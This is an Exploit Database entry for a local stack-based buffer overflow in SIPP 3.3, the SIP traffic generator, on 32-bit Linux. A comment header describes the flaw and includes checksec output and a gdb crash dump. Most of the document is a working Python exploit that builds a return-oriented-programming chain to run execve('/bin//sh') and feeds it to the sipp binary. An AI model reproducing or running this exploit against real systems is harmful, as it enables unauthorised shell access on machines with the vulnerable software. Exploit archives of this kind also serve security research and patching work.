SIPP 3.3 – Stack-Based Buffer Overflow

• Exploit Database
• 98 阅读

• 作者： Juan Sacco
  日期： 2018-08-29
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/45288/

• # Exploit Author: Juan Sacco <jsacco@exploitpack.com> - http://exploitpack.com
  #
  # Tested on: Kali i686 GNU/Linux
  #
  # Description: SIPP 3.3 is prone to a local unauthenticated stack-based overflow
  # The vulnerability is due to an unproper filter of user suppliedinput while reading
  # the configuration file and parsing the malicious crafted value.
  #
  # Program: SIPP 3.3 Traffic generator for the SIP protocol
  # SIPp is a free Open Source test tool / traffic generator
  # for the SIP protocol. Filename: pool/main/s/sipp/sipp_3.3-1kali2_i386.deb
  #
  # Vendor: http://sipp.sourceforge.net/
  # gdb-peda$ checksec
  # CANARY: disabled
  # FORTIFY : disabled
  # NX: ENABLED
  # PIE : ENABLED
  # RELRO : Partial
  #
  #[----------------------------------registers-----------------------------------]
  # EAX: 0x41414141 ('AAAA')
  # EBX: 0x25 ('%')
  # ECX: 0xb7c9e340 --> 0x4cf8b0 ('A' <repeats 200 times>...)
  # EDX: 0xb7c9e200 --> 0x0
  # ESI: 0xb7ca0748 --> 0x0
  # EDI: 0x0
  # EBP: 0xbfffc898 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 -->0xb7c9d000 --> 0x1d4d6c
  # ESP: 0xbfffc898 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 -->0xb7c9d000 --> 0x1d4d6c
  # EIP: 0x43cdcf (moveax,DWORD PTR [eax+0xc])
  # EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPTdirection overflow)
  # [-------------------------------------code-------------------------------------]
  # 0x43cdc2: call 0x4053e6
  # 0x43cdc7: addeax,0x50239
  # 0x43cdcc: moveax,DWORD PTR [ebp+0x8]
  # => 0x43cdcf: moveax,DWORD PTR [eax+0xc]
  # 0x43cdd2: popebp
  # 0x43cdd3: ret
  # 0x43cdd4: push ebp
  # 0x43cdd5: movebp,esp
  # [------------------------------------stack-------------------------------------]
  # 0000| 0xbfffc898 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 -->0xb7c9d000 --> 0x1d4d6c
  # 0004| 0xbfffc89c --> 0x43c159 (addesp,0x10)
  # 0008| 0xbfffc8a0 ("AAAA\377\377\377\377\310\310\377\277C\301C")
  # 0012| 0xbfffc8a4 --> 0xffffffff
  # 0016| 0xbfffc8a8 --> 0xbfffc8c8 --> 0xbfffc8e8 --> 0xbfffc908 -->0xb7c9d000 --> 0x1d4d6c
  # 0020| 0xbfffc8ac --> 0x43c143 (addeax,0x50ebd)
  # 0024| 0xbfffc8b0 --> 0x597ba0 --> 0x0
  # 0028| 0xbfffc8b4 --> 0xffffffff
  # [------------------------------------------------------------------------------]
  # Legend: code, data, rodata, value
  # Stopped reason: SIGSEGV
  # 0x41414141 in ?? ()
  
  import os, subprocess
  from struct import pack
  
  # rop execve ( bin/sh )
  rop = "A"*2208 # junk
  rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi; pop ebp ; ret
  rop += pack('<I', 0x0811abe0) # @ .data
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x0807b744) # pop eax ; ret
  rop += '/bin'
  rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;pop ebp ; ret
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; popedi ;pop ebp ; ret
  rop += pack('<I', 0x0811abe4) # @ .data + 4
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x0807b744) # pop eax ; ret
  rop += '//sh'
  rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;pop ebp ; ret
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi; pop ebp ; ret
  rop += pack('<I', 0x0811abe8) # @ .data + 8
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;pop ebp ; ret
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
  rop += pack('<I', 0x0811abe0) # @ .data
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x08067b43) # pop ecx ; ret
  rop += pack('<I', 0x0811abe8) # @ .data + 8
  rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi; pop ebp ; ret
  rop += pack('<I', 0x0811abe8) # @ .data + 8
  rop += pack('<I', 0x0811abe0) # padding without overwrite ebx
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x41414141) # padding
  rop += pack('<I', 0x080e571f) # inc eax ; ret
  rop += pack('<I', 0x080e571f) # inc eax ; ret
  rop += pack('<I', 0x080e571f) # inc eax ; ret
  rop += pack('<I', 0x080e571f) # inc eax ; ret
  rop += pack('<I', 0x080e571f) # inc eax ; ret
  rop += pack('<I', 0x080e571f) # inc eax ; ret
  rop += pack('<I', 0x080e571f) # inc eax ; ret
  rop += pack('<I', 0x080e571f) # inc eax ; ret
  rop += pack('<I', 0x080e571f) # inc eax ; ret
  rop += pack('<I', 0x080e571f) # inc eax ; ret
  rop += pack('<I', 0x080e571f) # inc eax ; ret
  rop += pack('<I', 0x080c861f) # int 0x80
  
  try:
   print("[*] SIPP 3.3 Buffer Overflow by Juan Sacco")
   print("[*] Please wait.. running")
   subprocess.call(["sipp ", rop])
  except OSError as e:
   if e.errno == os.errno.ENOENT:
   print "SIPPnot found!"
   else:
  print "Error executing exploit"
   raise
  

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